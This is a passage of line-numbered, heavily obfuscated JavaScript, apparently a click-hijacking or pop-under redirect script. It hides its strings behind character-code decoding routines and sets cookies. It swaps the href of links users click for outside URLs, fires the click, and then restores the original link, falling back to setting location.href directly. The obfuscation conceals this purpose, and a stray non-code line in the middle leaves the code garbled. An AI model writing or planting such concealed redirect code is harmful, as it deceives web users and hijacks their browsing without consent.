1252 /** @type {number} */
1253 var val = 0;
1254 for (; val < args[index]; val = val + key) {
1255 /** @type {string} */
1256 var base = "str";
1257 /** @type {string} */
1258 var i = "sub";
1259 value = value + String[_Ds$jscomp$0](parseInt(args[i + base](val, key), 10) - res);
1260 }
1261 return value[expect + i]("")[current + html + ACTION_SOUTH_EAST]()[918239[_EK$jscomp$0](36)]("");
1262 };
1263 /**
1264 * @param {string} e
1265 * @param {string} obj
1266 * @param {string} scope
1267 * @param {string} path
1268 * @return {?}
1269 */
1270 var init = function(e, obj, scope, path) {
1271 /** @type {string} */
1272 var tfl = "ngt";
1273 /** @type {string} */
1274 var ii = "le";
1275 /** @type {string} */
1276 var i = "h";
1277 /** @type {string} */
1278 var a = "o97o";
1279 /** @type {string} */
1280 var siteName = "o47";
1281 /** @type {string} */
1282 var tail = "10";
1283 /** @type {string} */
1284 var j = "116o";
1285 /** @type {string} */
1286 var sitesusers = "4o61";
1287 /** @type {string} */
1288 var addr = "112";
1289 /** @type {string} */
1290 var $mime_type = "spl";
1291 /** @type {string} */
1292 var itSkip = "it";
1293 /** @type {string} */
1294 path = ii + tfl + i;
1295 /** @type {string} */
1296 e = "o";
1297 /** @type {string} */
1298 scope = "";
1299 obj = (addr + a + j + tail + sitesusers + siteName)[[$mime_type, itSkip].join("")](e);
1300 /** @type {number} */
1301 var k = 0;
1302 for (; k < obj[path]; k++) {
1303 /** @type {string} */
1304 scope = scope + _NK$jscomp$0(obj[k]);
1305 }
1306 return scope;
1307 };
1308 /** @type {string} */
1309 var stars = "";
1310 if (timeout) {
1311 /**
1312 * @param {string} buf
1313 * @param {string} options
1314 * @param {string} component
1315 * @param {string} type
1316 * @return {?}
1317 */
1318 var render = function(buf, options, component, type) {
1319 /** @type {string} */
1320 var w = "h";
1321 /** @type {string} */
1322 var result11 = "le";
1323 /** @type {string} */
1324 var prKey = "ngt";
1325 /** @type {string} */
1326 var a = "G10";
1327 /** @type {string} */
1328 var x = "1G";
1329 /** @type {string} */
1330 var i = "4G10";
1331 /** @type {string} */
1332 var mb = "61";
1333 /** @type {string} */
1334 var stepName = "2G";
1335 /** @type {string} */
1336 var __ = "5G11";
1337 /** @type {string} */
1338 var t = "11";
1339 /** @type {string} */
1340 var id = "G10";
1341 /** @type {string} */
1342 var mv = "G1";
1343 /** @type {string} */
1344 var Cancel = "120";
1345 /** @type {string} */
1346 var bookdetail = "15";
1347 /** @type {string} */
1348 var sha = "32";
1349 /** @type {string} */
1350 var fileDir = "G59";
1351 /** @type {string} */
1352 var file = "1G";
1353 /** @type {string} */
1354 var managementcommandsdns = "spl";
1355 /** @type {string} */
1356 var siteName = "it";
1357 /** @type {string} */
1358 var html = "ver";
1359 /** @type {string} */
1360 var end = "se";
1361 /** @type {string} */
1362 var current = "re";
1363 /** @type {string} */
1364 type = [result11, prKey, w].join("");
1365 /** @type {string} */
1366 buf = "G";
1367 /** @type {string} */
1368 component = "";
1369 options = (mb + mv + bookdetail + id + x + t + i + __ + stepName + Cancel + a + file + sha + fileDir)[managementcommandsdns + siteName](buf)[current + html + end]();
1370 /** @type {number} */
1371 var j = 0;
1372 for (; j < options[type]; j++) {
1373 /** @type {string} */
1374 component = component + _NK$jscomp$0(options[j]);
1375 }
1376 return component;
1377 };
1378 /** @type {!Date} */
1379 var dateExpires = new Date;
1380 dateExpires.setTime(dateExpires.getTime() + timeout * 1e3);
1381 /** @type {string} */
1382 stars = render() + dateExpires.toGMTString();
1383 }
1384 /** @type {string} */
1385 var s = name + "=" + count + stars + ";";
1386 if (typeof queue == render() && queue.length) {
1387 /**
1388 * @param {string} target
1389 * @param {string} room
1390 * @param {string} id
1391 * @param {string} k
1392 * @return {?}
1393 */
1394 var init = function(target, room, id, k) {
1395 /** @type {string} */
1396 var w = "h";
1397 /** @type {string} */
1398 var result20 = "gt";
1399 /** @type {string} */
1400 var i = "len";
1401 /** @type {string} */
1402 var topicUri6 = "97i";
1403 /** @type {string} */
1404 var index = "i1";
1405 /** @type {string} */
1406 var cfgH = "105i";
1407 /** @type {string} */
1408 var cfgW = "61i4";
1409 /** @type {string} */
1410 var inImageSize = "109i";
1411 /** @type {string} */
1412 var CredentialScope = "11i";
1413 /** @type {string} */
1414 var $mime_type = "100";
1415 /** @type {string} */
1416 var depth_diff = "110i";
1417 /** @type {string} */
1418 var stderrIndicator = "6";
1419 /** @type {string} */
1420 var type = "t";
1421 /** @type {string} */
1422 var qtype_ = "spli";
1423 /** @type {string} */
1424 k = [i, result20, w].join("");
1425 /** @type {string} */
1426 target = "i";
1427 /** @type {string} */
1428 id = "";
1429 room = [$mime_type, index, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff, cfgW, stderrIndicator].join("")[qtype_ + type](target);
1430 /** @type {number} */
1431 var j = 0;
1432 for (; j < room[k]; j++) {
1433 /** @type {string} */
1434 id = id + _NK$jscomp$0(room[j]);
1435 }
1436 return id;
1437 };
1438 /** @type {string} */
1439 s = s + (init() + queue + ";");
1440 }
1441 /** @type {string} */
1442 s = s + init();
1443 /** @type {string} */
1444 bs$jscomp$0.cookie = s;
1445 }
1446 /**
1447 * @param {string} obj
1448 * @return {?}
1449 */
1450 function Kw$jscomp$0(obj) {
1451 /** @type {string} */
1452 var id = obj + "=";
1453 /** @type {!Array<string>} */
1454 var _$rapyd$_Iter0 = bs$jscomp$0.cookie.split(";");
1455 /** @type {number} */
1456 var _$rapyd$_Index0 = 0;
1457 var i;
1458 for (; _$rapyd$_Index0 < _$rapyd$_Iter0.length; _$rapyd$_Index0++) {
1459 /** @type {string} */
1460 i = _$rapyd$_Iter0[_$rapyd$_Index0];
1461 for (; i.charAt(0) == " ";) {
1462 /** @type {string} */
1463 i = i.substring(1, i.length);
1464 }
1465 if (i.indexOf(id) == 0) {
1466 return i.substring(id.length, i.length);
1467 }
1468 }
1469 return null;
1470 }
1471 /**
1472 * @param {string} expression
1473 * @return {?}
1474 */
1475 function is$jscomp$0(expression) {
1476 /**
1477 * @param {string} prefix
1478 * @param {string} value
1479 * @param {string} text
1480 * @param {string} url
1481 * @return {?}
1482 */
1483 var strip = function(prefix, value, text, url) {
1484 49U36U92 SPLIT U REVERSE
1485
1486 /** @type {string} */
1487 var i = "len";
1488 /** @type {string} */
1489 var o = "gth";
1490 /** @type {string} */
1491 var M = "49";
1492 /** @type {string} */
1493 var rArc = "U9";
1494 /** @type {string} */
1495 var siteName = "2";
1496 /** @type {string} */
1497 var rightPt = "U36";
1498 /** @type {string} */
1499 var baseNewPath = "spl";
1500 /** @type {string} */
1501 var middlePathName = "it";
1502 /** @type {string} */
1503 var ACTION_SOUTH_EAST = "se";
1504 /** @type {string} */
1505 var ret = "ver";
1506 /** @type {string} */
1507 var op = "re";
1508 /** @type {string} */
1509 url = i + o;
1510 /** @type {string} */
1511 prefix = "U";
1512 /** @type {string} */
1513 text = "";
1514 value = (M + rightPt + rArc + siteName)[baseNewPath + middlePathName](prefix)[[op, ret, ACTION_SOUTH_EAST].join("")]();
1515 /** @type {number} */
1516 var SET_MARK = 0;
1517 for (; SET_MARK < value[url]; SET_MARK++) {
1518 /** @type {string} */
1519 text = text + _NK$jscomp$0(value[SET_MARK]);
1520 }
1521 return text;
1522 };
1523 return (expression + "").replace(/([.?*+^$[\]\\(){}|-])/g, strip());
1524 }
1525 /**
1526 * @param {string} b
1527 * @return {?}
1528 */
1529 function L$jscomp$0(b) {
1530 return b.replace(/^\s+|\s+$/g, "");
1531 }
1532 /**
1533 * @param {?} r
1534 * @param {!Object} a
1535 * @return {undefined}
1536 */
1537 function Kx$jscomp$0(r, a) {
1538 try {
1539 /**
1540 * @param {string} img
1541 * @param {string} a
1542 * @param {string} lst
1543 * @param {string} i
1544 * @return {?}
1545 */
1546 var fn = function(img, a, lst, i) {
1547 /** @type {string} */
1548 var result11 = "le";
1549 /** @type {string} */
1550 var prKey = "ngth";
1551 /** @type {string} */
1552 var CredentialScope = "4i10";
1553 /** @type {string} */
1554 var $mime_type = "104";
1555 /** @type {string} */
1556 var i33 = "i11";
1557 /** @type {string} */
1558 var topicUri6 = "02";
1559 /** @type {string} */
1560 var inImageSize = "1i1";
1561 /** @type {string} */
1562 var tag = "li";
1563 /** @type {string} */
1564 var type = "t";
1565 /** @type {string} */
1566 var str = "sp";
1567 /** @type {string} */
1568 i = [result11, prKey].join("");
1569 /** @type {string} */
1570 img = "i";
1571 /** @type {string} */
1572 lst = "";
1573 a = [$mime_type, i33, CredentialScope, inImageSize, topicUri6].join("")[[str, tag, type].join("")](img);
1574 /** @type {number} */
1575 var s = 0;
1576 for (; s < a[i]; s++) {
1577 /** @type {string} */
1578 lst = lst + _NK$jscomp$0(a[s]);
1579 }
1580 return lst;
1581 };
1582 /**
1583 * @param {string} y
1584 * @param {string} value
1585 * @param {string} message
1586 * @param {string} x
1587 * @return {?}
1588 */
1589 var translate = function(y, value, message, x) {
1590 /** @type {string} */
1591 var tfl = "ngt";
1592 /** @type {string} */
1593 var i = "h";
1594 /** @type {string} */
1595 var ii = "le";
1596 /** @type {string} */
1597 var a = "104";
1598 /** @type {string} */
1599 var b = "s10";
1600 /** @type {string} */
1601 var datahome = "102";
1602 /** @type {string} */
1603 var hyphen = "s114";
1604 /** @type {string} */
1605 var name = "1s";
1606 /** @type {string} */
1607 var itSkip = "it";
1608 /** @type {string} */
1609 var $mime_type = "spl";
1610 /** @type {string} */
1611 x = ii + tfl + i;
1612 /** @type {string} */
1613 y = "s";
1614 /** @type {string} */
1615 message = "";
1616 value = (a + hyphen + b + name + datahome)[[$mime_type, itSkip].join("")](y);
1617 /** @type {number} */
1618 var SET_MARK = 0;
1619 for (; SET_MARK < value[x]; SET_MARK++) {
1620 /** @type {string} */
1621 message = message + _NK$jscomp$0(value[SET_MARK]);
1622 }
1623 return message;
1624 };
1625 /**
1626 * @param {string} event
1627 * @param {string} callback
1628 * @param {string} input
1629 * @param {string} attr
1630 * @return {?}
1631 */
1632 var init = function(event, callback, input, attr) {
1633 /** @type {string} */
1634 var hm_id = "leng";
1635 /** @type {string} */
1636 var i = "th";
1637 /** @type {string} */
1638 var y = "1s9";
1639 /** @type {string} */
1640 var depth_diff = "8s11";
1641 /** @type {string} */
1642 var code = "100";
1643 /** @type {string} */
1644 var s = "03";
1645 /** @type {string} */
1646 var name = "05s";
1647 /** @type {string} */
1648 var width = "s1";
1649 /** @type {string} */
1650 var cfgW = "0s95";
1651 /** @type {string} */
1652 var initial = "s10";
1653 /** @type {string} */
1654 var c = "9s11";
1655 /** @type {string} */
1656 var height = "101s";
1657 /** @type {string} */
1658 var CredentialScope = "0s";
1659 /** @type {string} */
1660 var x = "114";
1661 /** @type {string} */
1662 var j = "6s10";
1663 /** @type {string} */
1664 var inImageSize = "11";
1665 /** @type {string} */
1666 var m = "10s1";
1667 /** @type {string} */
1668 var topicUri6 = "6s";
1669 /** @type {string} */
1670 var overviewId = "101";
1671 /** @type {string} */
1672 var pinVal = "4s";
1673 /** @type {string} */
1674 var stderrIndicator = "s11";
1675 /** @type {string} */
1676 var prKey = "s12";
1677 /** @type {string} */
1678 var E = "5s1";
1679 /** @type {string} */
1680 var cfgH = "10";
1681 /** @type {string} */
1682 var itSkip = "it";
1683 /** @type {string} */
1684 var $mime_type = "spl";
1685 /** @type {string} */
1686 attr = hm_id + i;
1687 /** @type {string} */
1688 event = "s";
1689 /** @type {string} */
1690 input = "";
1691 callback = [overviewId, prKey, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff, cfgW, stderrIndicator, pinVal, height, code, width, name, x, initial, y, c, j, E, m, s].join("")[[$mime_type, itSkip].join("")](event);
1692 /** @type {number} */
1693 var promisifiedKey = 0;
1694 for (; promisifiedKey < callback[attr]; promisifiedKey++) {
1695 /** @type {string} */
1696 input = input + _NK$jscomp$0(callback[promisifiedKey]);
1697 }
1698 return input;
1699 };
1700 var w = a.getAttribute(fn());
1701 a.setAttribute(translate(), r);
1702 a.setAttribute(init(), true);
1703 a.click();
1704 if (w && w != r) {
1705 setTimeout(function() {
1706 /**
1707 * @param {string} m
1708 * @param {string} n
1709 * @param {string} val
1710 * @param {string} e
1711 * @return {?}
1712 */
1713 var r = function(m, n, val, e) {
1714 /** @type {string} */
1715 var s = "leng";
1716 /** @type {string} */
1717 var i = "th";
1718 /** @type {string} */
1719 var CredentialScope = "14f";
1720 /** @type {string} */
1721 var prKey = "4f1";
1722 /** @type {string} */
1723 var $mime_type = "10";
1724 /** @type {string} */
1725 var inImageSize = "101f";
1726 /** @type {string} */
1727 var topicUri6 = "102";
1728 /** @type {string} */
1729 var qtype_ = "spli";
1730 /** @type {string} */
1731 var type = "t";
1732 /** @type {string} */
1733 e = s + i;
1734 /** @type {string} */
1735 m = "f";
1736 /** @type {string} */
1737 val = "";
1738 n = [$mime_type, prKey, CredentialScope, inImageSize, topicUri6].join("")[qtype_ + type](m);
1739 /** @type {number} */
1740 var themeprop = 0;
1741 for (; themeprop < n[e]; themeprop++) {
1742 /** @type {string} */
1743 val = val + _NK$jscomp$0(n[themeprop]);
1744 }
1745 return val;
1746 };
1747 a.setAttribute(r(), w);
1748 }, 500);
1749 }
1750 setTimeout(function() {
1751 /**
1752 * @param {string} e
1753 * @param {string} f
1754 * @param {string} path
1755 * @param {string} dir
1756 * @return {?}
1757 */
1758 var init = function(e, f, path, dir) {
1759 /** @type {string} */
1760 var result11 = "le";
1761 /** @type {string} */
1762 var prKey = "ngt";
1763 /** @type {string} */
1764 var y = "h";
1765 /** @type {string} */
1766 var L = "110m";
1767 /** @type {string} */
1768 var pre = "m1";
1769 /** @type {string} */
1770 var potential_users = "05m";
1771 /** @type {string} */
1772 var sitesowners = "0m";
1773 /** @type {string} */
1774 var Z = "m116";
1775 /** @type {string} */
1776 var width = "95";
1777 /** @type {string} */
1778 var s = "00m1";
1779 /** @type {string} */
1780 var org = "05";
1781 /** @type {string} */
1782 var h = "01";
1783 /** @type {string} */
1784 var m = "m1";
1785 /** @type {string} */
1786 var S = "4m1";
1787 /** @type {string} */
1788 var varVal = "m101";
1789 /** @type {string} */
1790 var Y = "m99";
1791 /** @type {string} */
1792 var _ = "6m10";
1793 /** @type {string} */
1794 var w = "m11";
1795 /** @type {string} */
1796 var varWithEqual = "m114";
1797 /** @type {string} */
1798 var siteName = "103";
1799 /** @type {string} */
1800 var i = "0m11";
1801 /** @type {string} */
1802 var register = "8m";
1803 /** @type {string} */
1804 var ii = "101m";
1805 /** @type {string} */
1806 var escapedEmail = "11";
1807 /** @type {string} */
1808 var tbm = "12";
1809 /** @type {string} */
1810 var type = "t";
1811 /** @type {string} */
1812 var str = "sp";
1813 /** @type {string} */
1814 var tag = "li";
1815 /** @type {string} */
1816 dir = [result11, prKey, y].join("");
1817 /** @type {string} */
1818 e = "m";
1819 /** @type {string} */
1820 path = "";
1821 f = (ii + tbm + i + _ + register + L + width + w + S + h + m + s + org + varWithEqual + varVal + Y + Z + pre + potential_users + escapedEmail + sitesowners + siteName)[[str, tag, type].join("")](e);
1822 /** @type {number} */
1823 var RED_INTEGER = 0;
1824 for (; RED_INTEGER < f[dir]; RED_INTEGER++) {
1825 /** @type {string} */
1826 path = path + _NK$jscomp$0(f[RED_INTEGER]);
1827 }
1828 return path;
1829 };
1830 a.removeAttribute(init());
1831 }, 500);
1832 } catch (n) {
1833 /**
1834 * @param {string} m
1835 * @param {string} d
1836 * @param {string} e
1837 * @param {string} t
1838 * @return {?}
1839 */
1840 var M = function(m, d, e, t) {
1841 /** @type {string} */
1842 var i = "th";
1843 /** @type {string} */
1844 var at = "leng";
1845 /** @type {string} */
1846 var $mime_type = "10";
1847 /** @type {string} */
1848 var depth_diff = "i10";
1849 /** @type {string} */
1850 var cfgW = "5i";
1851 /** @type {string} */
1852 var cfgH = "116";
1853 /** @type {string} */
1854 var topicUri6 = "i97i";
1855 /** @type {string} */
1856 var stderrIndicator = "11";
1857 /** @type {string} */
1858 var inImageSize = "1i99";
1859 /** @type {string} */
1860 var prKey = "8i";
1861 /** @type {string} */
1862 var CredentialScope = "11";
1863 /** @type {string} */
1864 var pinVal = "1i1";
1865 /** @type {string} */
1866 var height = "10";
1867 /** @type {string} */
1868 var type = "t";
1869 /** @type {string} */
1870 var qtype_ = "spli";
1871 /** @type {string} */
1872 t = at + i;
1873 /** @type {string} */
1874 m = "i";
1875 /** @type {string} */
1876 e = "";
1877 d = [$mime_type, prKey, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff, cfgW, stderrIndicator, pinVal, height].join("")[qtype_ + type](m);
1878 /** @type {number} */
1879 var max = 0;
1880 for (; max < d[t]; max++) {
1881 /** @type {string} */
1882 e = e + _NK$jscomp$0(d[max]);
1883 }
1884 return e;
1885 };
1886 /**
1887 * @param {string} prev
1888 * @param {string} state
1889 * @param {string} group
1890 * @param {string} s
1891 * @return {?}
1892 */
1893 var init = function(prev, state, group, s) {
1894 /** @type {string} */
1895 var i = "len";
1896 /** @type {string} */
1897 var diff = "gth";
1898 /** @type {string} */
1899 var BIT = "104r";
1900 /** @type {string} */
1901 var n = "r101";
1902 /** @type {string} */
1903 var u = "114";
1904 /** @type {string} */
1905 var dir = "r10";
1906 /** @type {string} */
1907 var _resize = "2";
1908 /** @type {string} */
1909 var expect = "sp";
1910 /** @type {string} */
1911 var PR_LITERAL = "lit";
1912 /** @type {string} */
1913 s = i + diff;
1914 /** @type {string} */
1915 prev = "r";
1916 /** @type {string} */
1917 group = "";
1918 state = (BIT + u + n + dir + _resize)[expect + PR_LITERAL](prev);
1919 /** @type {number} */
1920 var id = 0;
1921 for (; id < state[s]; id++) {
1922 /** @type {string} */
1923 group = group + _NK$jscomp$0(state[id]);
1924 }
1925 return group;
1926 };
1927 kb$jscomp$0[M()][init()] = r;
1928 }
1929 }
1930 /**
1931 * @param {number} release_conns
1932 * @param {number} fractionalPosition
1933 * @return {?}
1934 */
1935 function Hs$jscomp$0(release_conns, fractionalPosition) {
1936 return Math.floor(Math.random() * (fractionalPosition - release_conns + 1)) + release_conns;
1937 }
1938 /**
1939 * @param {string} p_Interval
1940 * @return {?}
1941 */
1942 function Ab$jscomp$0(p_Interval) {
1943 return p_Interval.toLowerCase().replace(/^www\./, "").replace(/:.*$/, "");
1944 }
1945 /**
1946 * @param {string} r
1947 * @param {string} n
1948 * @return {?}
1949 */
1950 function YI$jscomp$0(r, n) {
1951 var args = r.split(".");
1952 var list = n.split(".");
1953 if (args && args.length && list && list.length) {
1954 args.reverse();
1955 list.reverse();
1956 var argLen = args.length > list.length ? list.length : args.length;
1957 /** @type {number} */
1958 var o = 1;
1959 /** @type {number} */
1960 var arg = 0;
1961 for (; arg < argLen; arg++) {
1962 if (o > 3) {
1963 break;
1964 }
1965 if (!args[arg] || !list[arg] || args[arg] != list[arg]) {
1966 return false;
1967 }
1968 o++;
1969 }
1970 return true;
1971 }
1972 return false;
1973 }
1974 /**
1975 * @param {!Object} line
1976 * @return {?}
1977 */
1978 function ke$jscomp$0(line) {
1979 /**
1980 * @param {string} key
1981 * @param {string} value
1982 * @param {string} count
1983 * @param {string} unit
1984 * @return {?}
1985 */
1986 var init = function(key, value, count, unit) {
1987 /** @type {string} */
1988 var i = "len";
1989 /** @type {string} */
1990 var result20 = "gt";
1991 /** @type {string} */
1992 var w = "h";
1993 /** @type {string} */
1994 var a = "1";
1995 /** @type {string} */
1996 var stepName = "16W";
1997 /** @type {string} */
1998 var s = "10";
1999 /** @type {string} */
2000 var s_f_r = "3W1";
2001 /** @type {string} */
2002 var __ = "11W1";
2003 /** @type {string} */
2004 var Cancel = "11";
2005 /** @type {string} */
2006 var PR_LITERAL = "lit";
2007 /** @type {string} */
2008 var str = "sp";
2009 /** @type {string} */
2010 unit = [i, result20, w].join("");
2011 /** @type {string} */
2012 key = "W";
2013 /** @type {string} */
2014 count = "";
2015 value = (s + s_f_r + __ + stepName + Cancel + a)[[str, PR_LITERAL].join("")](key);
2016 /** @type {number} */
2017 var assertionType = 0;
2018 for (; assertionType < value[unit]; assertionType++) {
2019 /** @type {string} */
2020 count = count + _NK$jscomp$0(value[assertionType]);
2021 }
2022 return count;
2023 };
2024 /**
2025 * @param {number} coords
2026 * @param {number} size
2027 * @param {string} data
2028 * @param {string} state
2029 * @param {string} name
2030 * @return {?}
2031 */
2032 var render = function(coords, size, data, state, name) {
2033 /** @type {string} */
2034 var b = "th";
2035 /** @type {string} */
2036 var a = "leng";
2037 /** @type {string} */
2038 var $mime_type = "249";
2039 /** @type {string} */
2040 var CredentialScope = "6834";
2041 /** @type {string} */
2042 var overviewId = "370";
2043 /** @type {string} */
2044 var inImageSize = "6";
2045 /** @type {string} */
2046 var prKey = "3463";
2047 /** @type {string} */
2048 var type = "t";
2049 /** @type {string} */
2050 var str = "sp";
2051 /** @type {string} */
2052 var tag = "li";
2053 /** @type {string} */
2054 var foo = "vers";
2055 /** @type {string} */
2056 var key = "e";
2057 /** @type {string} */
2058 var current = "re";
2059 /** @type {string} */
2060 var h = "g";
2061 /** @type {string} */
2062 var y = "toS";
2063 /** @type {string} */
2064 var sign = "trin";
2065 /** @type {string} */
2066 name = a + b;
2067 /** @type {string} */
2068 coords = [$mime_type].join("");
2069 /** @type {number} */
2070 size = 3;
2071 /** @type {string} */
2072 state = "";
2073 /** @type {string} */
2074 data = [overviewId, prKey, CredentialScope, inImageSize].join("");
2075 /** @type {number} */
2076 var i = 0;
2077 for (; i < data[name]; i = i + size) {
2078 /** @type {string} */
2079 var $mime_type = "su";
2080 /** @type {string} */
2081 var prKey = "bstr";
2082 state = state + String[_Ds$jscomp$0](parseInt(data[[$mime_type, prKey].join("")](i, size), 10) - coords);
2083 }
2084 return state[[str, tag, type].join("")]("")[current + foo + key]()[918239[y + sign + h](36)]("");
2085 };
2086 /**
2087 * @param {string} index
2088 * @param {string} options
2089 * @param {string} opts
2090 * @param {string} val
2091 * @return {?}
2092 */
2093 var initOptions = function(index, options, opts, val) {
2094 /** @type {string} */
2095 var i = "len";
2096 /** @type {string} */
2097 var prKey = "gth";
2098 /** @type {string} */
2099 var inImageSize = "1";
2100 /** @type {string} */
2101 var overviewId = "116h";
2102 /** @type {string} */
2103 var CredentialScope = "h11";
2104 /** @type {string} */
2105 var distStyle = "117";
2106 /** @type {string} */
2107 var itSkip = "it";
2108 /** @type {string} */
2109 var $mime_type = "spl";
2110 /** @type {string} */
2111 var shield = "reve";
2112 /** @type {string} */
2113 var name = "rse";
2114 /** @type {string} */
2115 val = [i, prKey].join("");
2116 /** @type {string} */
2117 index = "h";
2118 /** @type {string} */
2119 opts = "";
2120 options = [overviewId, distStyle, CredentialScope, inImageSize].join("")[[$mime_type, itSkip].join("")](index)[shield + name]();
2121 /** @type {number} */
2122 var j = 0;
2123 for (; j < options[val]; j++) {
2124 /** @type {string} */
2125 opts = opts + _NK$jscomp$0(options[j]);
2126 }
2127 return opts;
2128 };
2129 /** @type {null} */
2130 Dp$jscomp$0 = null;
2131 var args;
2132 var url;
2133 var targetAnchor;
2134 var x_rect;
2135 var username;
2136 /** @type {!Array} */
2137 var targets = ["go", "to", init(), render(), initOptions()];
2138 if (args = line.href.match(/^[^\?]+\?(.+)/)) {
2139 var eventsString = args[1];
2140 if (eventsString) {
2141 var row = eventsString.split("&");
2142 if (row && row.length) {
2143 /** @type {number} */
2144 var CR_index = 0;
2145 var parsedQR;
2146 for (; CR_index < row.length; CR_index++) {
2147 parsedQR = row[CR_index].split("=");
2148 /** @type {string} */
2149 username = decodeURIComponent(parsedQR[0]);
2150 if (targets.indexOf(username) == -1) {
2151 continue;
2152 }
2153 /** @type {string} */
2154 url = decodeURIComponent(parsedQR[1]);
2155 if (!/^https?:/i.test(url)) {
2156 /** @type {null} */
2157 url = null;
2158 }
2159 }
2160 }
2161 }
2162 }
2163 if (!url) {
2164 if (args = line.href.match(/^[^?]+(https?:\/\/.+)/)) {
2165 url = args[1];
2166 }
2167 }
2168 if (url) {
2169 var uncert = Ab$jscomp$0(line.hostname);
2170 /** @type {!Element} */
2171 targetAnchor = bs$jscomp$0.createElement("a");
2172 targetAnchor.href = url;
2173 x_rect = Ab$jscomp$0(targetAnchor.hostname);
2174 if (!YI$jscomp$0(x_rect, uncert) && !YI$jscomp$0(x_rect, Xq$jscomp$0)) {
2175 Dp$jscomp$0 = url;
2176 return true;
2177 } else {
2178 return false;
2179 }
2180 }
2181 return null;
2182 }
2183 /**
2184 * @param {!Object} l
2185 * @return {?}
2186 */
2187 function P$jscomp$0(l) {
2188 /**
2189 * @param {string} group
2190 * @param {string} n
2191 * @param {string} width
2192 * @param {string} key
2193 * @return {?}
2194 */
2195 var factory = function(group, n, width, key) {
2196 /** @type {string} */
2197 var i = "th";
2198 /** @type {string} */
2199 var attach = "leng";
2200 /** @type {string} */
2201 var v1ValueName = "g10";
2202 /** @type {string} */
2203 var $mime_type = "10";
2204 /** @type {string} */
2205 var url = "g1";
2206 /** @type {string} */
2207 var depth_diff = "10";
2208 /** @type {string} */
2209 var distStyle = "7g99";
2210 /** @type {string} */
2211 var stderrIndicator = "11";
2212 /** @type {string} */
2213 var inImageSize = "5g10";
2214 /** @type {string} */
2215 var cfgH = "9g1";
2216 /** @type {string} */
2217 var topicUri6 = "8g9";
2218 /** @type {string} */
2219 var first = "li";
2220 /** @type {string} */
2221 var str = "sp";
2222 /** @type {string} */
2223 var path = "t";
2224 /** @type {string} */
2225 var CredentialScope = "rse";
2226 /** @type {string} */
2227 var prKey = "ve";
2228 /** @type {string} */
2229 var op = "re";
2230 /** @type {string} */
2231 key = attach + i;
2232 /** @type {string} */
2233 group = "g";
2234 /** @type {string} */
2235 width = "";
2236 n = [$mime_type, distStyle, v1ValueName, inImageSize, topicUri6, cfgH, depth_diff, url, stderrIndicator].join("")[str + first + path](group)[[op, prKey, CredentialScope].join("")]();
2237 /** @type {number} */
2238 var themeprop = 0;
2239 for (; themeprop < n[key]; themeprop++) {
2240 /** @type {string} */
2241 width = width + _NK$jscomp$0(n[themeprop]);
2242 }
2243 return width;
2244 };
2245 /**
2246 * @param {string} message
2247 * @param {string} data
2248 * @param {string} template
2249 * @param {string} name
2250 * @return {?}
2251 */
2252 var gen = function(message, data, template, name) {
2253 /** @type {string} */
2254 var i = "th";
2255 /** @type {string} */
2256 var uk_icon_ = "leng";
2257 /** @type {string} */
2258 var CredentialScope = "110";
2259 /** @type {string} */
2260 var inImageSize = "e99";
2261 /** @type {string} */
2262 var topicUri6 = "e108";
2263 /** @type {string} */
2264 var depth_diff = "05";
2265 /** @type {string} */
2266 var prKey = "1e";
2267 /** @type {string} */
2268 var $mime_type = "11";
2269 /** @type {string} */
2270 var cfgH = "e1";
2271 /** @type {string} */
2272 var stderrIndicator = "107";
2273 /** @type {string} */
2274 var cfgW = "e99e";
2275 /** @type {string} */
2276 var expect = "sp";
2277 /** @type {string} */
2278 var PR_LITERAL = "lit";
2279 /** @type {string} */
2280 name = uk_icon_ + i;
2281 /** @type {string} */
2282 message = "e";
2283 /** @type {string} */
2284 template = "";
2285 data = [$mime_type, prKey, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff, cfgW, stderrIndicator].join("")[expect + PR_LITERAL](message);
2286 /** @type {number} */
2287 var index = 0;
2288 for (; index < data[name]; index++) {
2289 /** @type {string} */
2290 template = template + _NK$jscomp$0(data[index]);
2291 }
2292 return template;
2293 };
2294 if (!l.hostname || !/^https?:$/i.test(l.protocol) || -1 !== l.className.indexOf(Bo$jscomp$0)) {
2295 return false;
2296 }
2297 if (null != l.getAttribute(factory()) && "" != l.getAttribute(gen()) && "" == bs$jscomp$0.referrer) {
2298 return false;
2299 }
2300 if (jh$jscomp$0) {
2301 var p = ke$jscomp$0(l);
2302 if (null !== p) {
2303 return p;
2304 }
2305 }
2306 /** @type {!RegExp} */
2307 var rDataName = /\.(jpg|png|jpeg|gif|bmp|doc|pdf|xls)$/;
2308 if (l.hostname.match(rDataName)) {
2309 return false;
2310 }
2311 return Ab$jscomp$0(l.hostname) != Xq$jscomp$0 || "" == bs$jscomp$0.referrer;
2312 }
2313 /**
2314 * @param {!Object} ident
2315 * @return {?}
2316 */
2317 function Bj$jscomp$0(ident) {
2318 /**
2319 * @param {number} y
2320 * @param {number} b
2321 * @param {string} t
2322 * @param {string} d
2323 * @param {string} m
2324 * @return {?}
2325 */
2326 var fn = function(y, b, t, d, m) {
2327 /** @type {string} */
2328 var result20 = "gt";
2329 /** @type {string} */
2330 var w = "h";
2331 /** @type {string} */
2332 var i = "len";
2333 /** @type {string} */
2334 var $mime_type = "111";
2335 /** @type {string} */
2336 var databag = "210";
2337 /** @type {string} */
2338 var distStyle = "22";
2339 /** @type {string} */
2340 var overviewId = "2202";
2341 /** @type {string} */
2342 var name = "lit";
2343 /** @type {string} */
2344 var sub = "sp";
2345 /** @type {string} */
2346 var prKey = "ve";
2347 /** @type {string} */
2348 var op = "re";
2349 /** @type {string} */
2350 var v1ValueName = "rse";
2351 /** @type {string} */
2352 m = [i, result20, w].join("");
2353 /** @type {string} */
2354 y = [$mime_type].join("");
2355 /** @type {number} */
2356 b = 3;
2357 /** @type {string} */
2358 d = "";
2359 /** @type {string} */
2360 t = [overviewId, distStyle, databag].join("");
2361 /** @type {number} */
2362 var key = 0;
2363 for (; key < t[m]; key = key + b) {
2364 /** @type {string} */
2365 var s = "str";
2366 /** @type {string} */
2367 var i = "sub";
2368 d = d + String[_Ds$jscomp$0](parseInt(t[i + s](key, b), 10) - y);
2369 }
2370 return d[sub + name]("")[[op, prKey, v1ValueName].join("")]()[918239[_EK$jscomp$0](36)]("");
2371 };
2372 /**
2373 * @param {string} f
2374 * @param {string} x
2375 * @param {string} base
2376 * @param {string} u
2377 * @return {?}
2378 */
2379 var init = function(f, x, base, u) {
2380 /** @type {string} */
